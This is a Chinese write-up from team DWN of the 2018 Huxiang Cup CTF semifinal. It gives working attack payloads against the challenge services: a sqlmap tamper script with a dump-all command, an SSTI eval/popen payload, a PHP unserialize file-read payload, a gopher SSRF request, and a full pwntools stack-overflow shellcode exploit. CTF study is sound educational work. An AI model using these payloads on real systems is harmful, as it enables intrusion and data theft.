2018湖湘杯复赛-WriteUp

栏目: 编程工具 · 发布时间: 7年前

内容简介:By DWN战队web这块基本都是原题,仅作参考。

2018湖湘杯复赛-WriteUp

By DWN战队

web这块基本都是原题,仅作参考。

差一题pwn200 AK。

签到题 SingIn Welcome

2018湖湘杯复赛-WriteUp

WEB Code Check

访问是一个登陆页面,查看源码有一个链接。

news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09

尝试注入,一直返回数据库错误。

然后在news目录下发现源码list.zip

<?php
// header('content-type:text/html;charset=utf-8');
// require_once '../config.php';
//解密过程
function decode($data){
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
    mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
    $data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    if(substr(trim($data),-7)!=='hxb2018'){
        echo '<script>window.location.href="/index.php";</script>';
    }else{
        return substr(trim($data),0,strlen(trim($data))-7);
    }
}

$id=decode("b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09");
echo $id;
// $sql="select id,title,content,time from notice where id=$id";
// $info=$link->query($sql);
// $arr=$info->fetch_assoc();
// ?>
// <!DOCTYPE html>
// <html lang="en">
// <head>
// <meta charset="UTF-8">
// <title>X公司HR系统V1.0</title>
// <style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
// </head>
// <body>
// <div class="body">
// <div class="title"><?php echo $arr['title']?></div>
// <div class="content"><?php echo $arr['content']?></div>
// </body>
// </html>

b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09就是1加密过的。

需要逆推一下这个函数。

function encode($data){
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
    mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
    $data = $data .'hxb2018';
    $data = mcrypt_generic($td,$data);
    $data=base64_encode(base64_encode($data));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    // echo substr(trim($data),0,strlen(trim($data))-7);
    echo $data;
}

然后将我们的payload直接加密然后注入。

由于比较麻烦,tamper省事一点

2018湖湘杯复赛-WriteUp

hxb.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from Crypto.Cipher import AES

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING


__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def encrypt(text):
    padding = ''
    key = 'ydhaqPQnexoaDuW3'
    iv = '2018201920202021'
    pad_it = lambda s: s+(16 - len(s)%16)*padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    text = text + 'hxb2018'
    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

    return encrypt(payload)

很多人没注意notice2

直接一把嗦:

sqlmap -u "http://47.107.236.42:49882/news/list.php?id=1" --tamper hxb.py --dump-all -T "notice,notice2,stormgroup_member" -D mozhe_discuz_stormgroup

2018湖湘杯复赛-WriteUp

WEB XmeO

没啥好说的,基本的SSTI

直接找xss bot源码

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat   //home/XmeO/auto.js").read()' )

2018湖湘杯复赛-WriteUp

hh

2018湖湘杯复赛-WriteUp

WEB MyNote

注册一个账号,发现可以上传。

2018湖湘杯复赛-WriteUp

查看上传的图片

有一个picture的cookie

2018湖湘杯复赛-WriteUp

数组的反序列化读取文件。

robots.txt可以知道存在flag.php

payload:

$wing[] = '../../flag.php';
echo urlencode(base64_encode(serialize($wing)));

发送过去,看到了data协议的数据。

2018湖湘杯复赛-WriteUp

解码

2018湖湘杯复赛-WriteUp

WEB ReadFIle

这题也没什么考点,emmm。

file协议可以读取到文件。

首先发现ssrf目录下的web.php

出题人原意可能是想让我们用gopher打。

但是源码里面有一个这个:/var/www/html/ssrf/readflag

$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
  if($_POST['user']=="admin" && $ip=="127.0.0.1"){
    system("/var/www/html/ssrf/readflag");
}
}

curl 保存到本地。

2018湖湘杯复赛-WriteUp

用ida分析一下

2018湖湘杯复赛-WriteUp

flag在ssrf目录…..

2018湖湘杯复赛-WriteUp

gopher参考:

%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%2f%5f%50%4f%53%54%20%2f%73%73%72%66%2f%77%65%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%25%30%64%25%30%61%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%36%25%30%64%25%30%61%55%73%65%72%2d%41%67%65%6e%74%3a%20%63%75%72%6c%2f%37%2e%34%33%2e%30%25%30%64%25%30%61%41%63%63%65%70%74%3a%20%2a%2f%2a%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%31%30%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%64%25%30%61%25%30%64%25%30%61%75%73%65%72%3d%61%64%6d%69%6e

这次的re难度不是太大……但是re2和re3都有点偏门,不太硬核233 但也挺有意思的

Replace

upx -d脱壳,然后是一个比普通签到略复杂一点的签到题,没什么好说的

要求table[input[i]] == atoi(data[2*i]+data[2*i+1])^0x19

table = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
  0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
  0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
  0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
  0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
  0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
  0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
  0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
  0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
  0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
  0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
  0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
  0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
  0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
  0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
  0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
  0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
  0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
  0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
  0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
  0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
  0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
  0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
  0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
  0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
  0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
s = bytes.fromhex("2a49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad67786e21d5adae6")
for i in range(len(s)):
    v = table.index(s[i]^0x19)
    print(chr(v), end='')

HighwayHash64

从题目和描述的Hash,以及输入提示的

Note:hxb2018{digits}

就可以猜到,这估计是个爆破Hash的题目

看了一下hash函数中初始化结构体的部分跟md5不同,查了也没有信息,所以可能是自定义的哈希算法

刚开始尝试了一下扒代码到编译器中复现,然而有很多ROL的宏定义,比较麻烦,所以直接调用该函数是比较方便的

调用函数有两种方法,一种是写一个dll注入到exe中进行调用,另一种则是将该exe直接改成dll,另外写一个exe来调用

前者日后再尝试吧,相对而言感觉要复杂一些

后者只需要将exe的PE头中的标志位修改,再通过RVA(Relative Virtual Address)获取函数地址即可

具体方法为,首先通过十六进制编辑器修改PE头

这里使用010Editor一类的 工具 会比较方便

  • NtHeader
    • Characteristics
      • IMAGE_FILE_DLL标志位

将该位改为1即可通过LoadLibrary调用

typedef __int64(__fastcall *f)(__int64 buff, unsigned __int64 len);

int main()
{
    HINSTANCE hdll;

    hdll = LoadLibrary(TEXT("F:\ctf\hxb\2018\reverse.dll"));
    if (hdll == NULL)
    {
        printf("Load dll Error: %dn", GetLastError());
        return 0;
    }
    printf("Dll base is %llxn", hdll);
    func = ((f)((char*)hdll + 0x17A0));
}

注意编译的时候由于dll是x64的,因此exe理应也是用x64的

以及这里的函数声明需要使用__fastcall的调用约定,因为从汇编可以看出来

mov     edx, 4
mov     [rsp+158h+var_138], eax
lea     rcx, [rsp+158h+var_138]
call    hash

传参使用的rcx和rdx,如果用其他调用约定的话通常会用栈传参

IDA其实是已经识别出来的

返回值则需要自己根据内容看出来,向rax放了一个int64的值

mov     rax, qword ptr [rsp+0C8h+md5_struct]
add     rax, qword ptr [rsp+0C8h+md5_struct+20h]
add     rax, qword ptr [rsp+0C8h+md5_struct+40h]
add     rax, qword ptr [rsp+0C8h+md5_struct+60h]

这里IDA是识别错误的

接下来就可以直接使用该函数来爆破了

do
    ++len;
  while ( Dst[len] );
  v7 = len;
  if ( hash((__int64)&v7, 4ui64) != (char *)0xD31580A28DD8E6C4i64 )

第一次hash使用的是len的地址,也就是把长度视作一个4字节的char数组来进行hash

因此我们首先要算出flag的长度

爆破的时候也提供一个int的空间即可

void len()
{
    int i;
    unsigned long long  result;
    for (i = 0;i<50; i++)
    {
        result = func((long long )&i, 4);
        if (result == 0xD31580A28DD8E6C4)
        {
            printf("Len is %dn", i-9);
            return ;
        }
    }
    printf("Not found the lenn");
    return;
}

很快可以得出i=19,然后掐去前后的格式字符共9个,即可知道中间的内容是十个十进制数了

接下来可以通过sprintf快速制作10个字节的十进制数,然后穷举

void hash()
{
    unsigned long long i;
    unsigned long long  result;
    char buff[20];
    for (i = 0; i < 10000000000; i++)
    {
        sprintf_s(buff, "%0.10llu", i);
        if (i % 100000 == 0)
        {
            printf("%0.10llun", i);
        }
        result = func((long long)buff, 10);
        if (result == 0x7CDCCF71350B7DB8)
        {
            //5203614978
            printf("flag is %lldn", i);
            return;
        }
    }
}

2018湖湘杯复赛-WriteUp

赛后交流了一下,flag的hash是不一样,所以复现的时候需要自己改一下

More efficient than JS

题目文件下载下来就能看到一个wasm,再结合题目,很显然又是WebAssembly逆向……越来越多的出题人开始搞这东西了orz

目前Chrome和Firefox都没有针对它出好用的调试器,只能用js的调试器凑活看,所以我的经验就是直接动调,用wabt组件反编译出的c和wat来辅助分析

运行了一下直接在fetch的地方报错,让队里师傅给搭了个http环境才能跑起来

以往的wasm题目都是在html中调用函数,这次找了一圈也没有看到

跑起来以后什么都不显示直接弹窗,估计是js中的代码,于是根据提示内容”Input:”找到了这里

2018湖湘杯复赛-WriteUp

在这下断,然后刷新果然断到了,但是接着单步跟下去就会进到一个死循环里

2018湖湘杯复赛-WriteUp

这个循环执行完以后又会回到弹窗里,于是有点懵逼

(动态调试和静态分析的相关技巧可以在我前两天的 博客 中找到)

后来在wat里发现了一个函数的名字叫做_main

果断下断,发现刷新页面以后会先执行wasm中的_main函数,然后到f98的调用时开始弹窗,点击取消以后会继续执行

再往后两个调用,到f42的时候注意它的参数执行完后会取出值,返回值则是len

然后在f22的5个参数中就可以发现各种有趣的东西了,注释如下

2018湖湘杯复赛-WriteUp

其中f22是核心的加密函数,在里面不断地单步跟,有选择地跳过

(其实最关键的就是几个循环中的i32_load),看它们从哪里取值以及取出来的是什么值即可

个人认为wasm的关键在于跟随数据而不是代码(因为代码太恶心了orz)

中间可以看到根据key去往后table中取值,但是最后与输入有关的只是异或,因此可以输入一串0,从而得到异或的值

然后从f23中的一个循环中使用的地址得到结果数组,最后异或求解即可

input = [[137, 221, 46, 119, 76, 156, 92, 92, 137, 215, 225, 85, 132, 233, 53, 206, 231, 78, 160, 89, 133, 178, 65, 60, 63, 29, 11, 164, 233, 71, 5, 192, 227, 190, 31, 178, 177, 218, 213, 38, 217, 39, 137, 164, 117, 224]]
output = [223, 129, 127, 32, 7, 196, 13, 28, 201, 158, 142, 23, 215, 237, 120]
for i in range(len(output)):
    print(chr(input[i]^ord('0')^output[i]),end='')
flag{happy_rc4}

从这个flag来看算法应该是rc4,也比较负责动调中感觉到的,根据key变换table然后取table的值和明文异或

因为这个算法的特性所以也可以理解为和密钥流异或23333

MISC Hidden Write

010看到3个ihdr和iend,分别抠出来,补齐png头89 50 4E 47 0D 0A 1A 0A

2018湖湘杯复赛-WriteUp

后面的两个图片存在盲水印,解出来得到flag最后一段

2018湖湘杯复赛-WriteUp

文件结尾字符串得到flag中间一段

2018湖湘杯复赛-WriteUp

然后是一个lsb隐写找到flag的第一段

2018湖湘杯复赛-WriteUp

MISC Flow

首先跑wifi密码,开始跑8位数字没跑出来,于是换了一个wpa常用密码的字典去跑,秒出结果orz

2018湖湘杯复赛-WriteUp

参考: https://xz.aliyun.com/t/1972

解密流量,然后跟踪tcp流,得到flag

2018湖湘杯复赛-WriteUp

MISC Disk

用winimage打开看到4个flag.txt

2018湖湘杯复赛-WriteUp

提取后看到是一堆01串,脚本解一下

2018湖湘杯复赛-WriteUp

PWN Regex Format

保护全无,所以做法有很多了,我的思路是往bss上写shellcode,然后栈溢出劫持控制流到我布置好的shellcode上。

2018湖湘杯复赛-WriteUp

这题比较烦的就是逆向部分了吧,首先读取regex format到.data的aBeforeUseItUnd变量后,这是做正则表达式的。然后读取一个字符串到bss上,是正则表达式匹配的对象。

程序首先会在0x08048680处的函数对正则表达式进行一个解析,比较烦的是,前面的内容是固定的Before :use$ it, :understand$* it :first$+.,即aBeforeUseItUnd变量

2018湖湘杯复赛-WriteUp

一顿操作后将正则表达式分成了好几段,我们gdb看下

2018湖湘杯复赛-WriteUp

然后这里进行循环去匹配每段正则表达式

2018湖湘杯复赛-WriteUp

不过sub_8048930的第3个参数为s,而s是char s; // [esp+474h] [ebp-D4h],那这里就可以去进行一个栈溢出操作了,去这个函数看看

2018湖湘杯复赛-WriteUp

可以看到,只要正则匹配,程序就会一直进行一个赋值操作,将bss上的数据赋值给栈上的s,于是问题就是如果使这个正则一直匹配下去。很简单,我们把bss上要写的内容放进去就行了嘛。

经过一顿调试后,最终写出了如下exp

2018湖湘杯复赛-WriteUp

完整exp:

#-*- coding: utf-8 -*-
from pwn import *


__author__ = '3summer'
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
st      = lambda delim,data         :io.sendthen(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
slt     = lambda delim,data         :io.sendlinethen(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, ''))
uu64    = lambda data               :u64(data.ljust(8, ''))


def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = ''
    gdbscript += 'directory %smallocn' % glibc_dir
    gdbscript += 'directory %sstdio-common/n' % glibc_dir
    gdbscript += 'directory %sstdlib/n' % glibc_dir
    gdbscript += 'directory %slibion' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk 27{{print 241}}27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    log.info(gdbscript)
    gdb.attach(io, gdbscript)


def exploit(local):
    _nop = asm(shellcraft.nop())
    _sh = asm(shellcraft.sh())
    _re = 'Before use$ it, understand$* it first$+.'
    _sh_addr = 0x0804A24C+0xd4+12*4
    sla('formatn', ':'+p32(_sh_addr)+_nop+_sh.replace('$', '')+'$*')
    sla('matchn', _re.ljust(0xd4, _nop) + p32(_sh_addr)*12 + _sh)
    sl('n')
    sl('./flag')
    irt()


if __name__ == '__main__':
    binary_file = './pwn1'
    context.binary = binary_file
    context.terminal = ['tmux', 'sp', '-h', '-l', '110']
    context.log_level = 'debug'
    elf = ELF(binary_file)
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
        # libc = ELF('./libc.so.6')
        exploit(False)
    else:
        io = process(binary_file)
        libc = elf.libc
        exploit(True)

PWN Hash Burger

https://github.com/SECCON/SECCON2017_online_CTF/tree/0a8bbd28544fbd89bed0f0e3eafa7b09a0165a6b/pwn/300_hash_burger

Get原题一枚,exp拿下来,改下ip,端口,libc路径,直接打

2018湖湘杯复赛-WriteUp

Crypto Common Crypto

很明显有两个函数与加密相关

2018湖湘杯复赛-WriteUp

key_generate函数中对key_struct的前16个字节进行了赋值,也就是128位的key

然后在之后与一个数组—搜索之后可以发现它是AES的SBox,进行异或,产生了轮密钥

然后在下一个函数,AES_encrypt中进行了明文和key_struct的运算

AES的特征是十轮运算、每轮进行字节替换、行移位、列混淆、轮密钥加,最后一轮缺少轮密钥加

所以要不是在十轮循环中有一个判断,要不就是九轮循环+额外三个步骤

函数内是满足这样的流程的

使用AES进行加密与动调获得的结果可以互相验证

sprintf调用了32次,而加密的结果只有16个字节,因此结果字符串中前32个字符为密文,后32个字符为明文的hex_encode

前半段进行解密、后半段则hex_decode即可

from Cryptodome.Cipher import AES
key = bytes.fromhex("1b2e3546586e72869ba7b5c8d9efff0c")
aes = AES.new(key, AES.MODE_ECB)
plain = aes.decrypt(bytes.fromhex("4dd78cfbcfc1dbd9e8f31715bf9c3464"))
print(plain)
print(bytes.fromhex("35316565363661623136353863303733"))

Good Job!


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Algorithms Unlocked

Algorithms Unlocked

Thomas H. Cormen / The MIT Press / 2013-3-1 / USD 25.00

Have you ever wondered how your GPS can find the fastest way to your destination, selecting one route from seemingly countless possibilities in mere seconds? How your credit card account number is pro......一起来看看 《Algorithms Unlocked》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具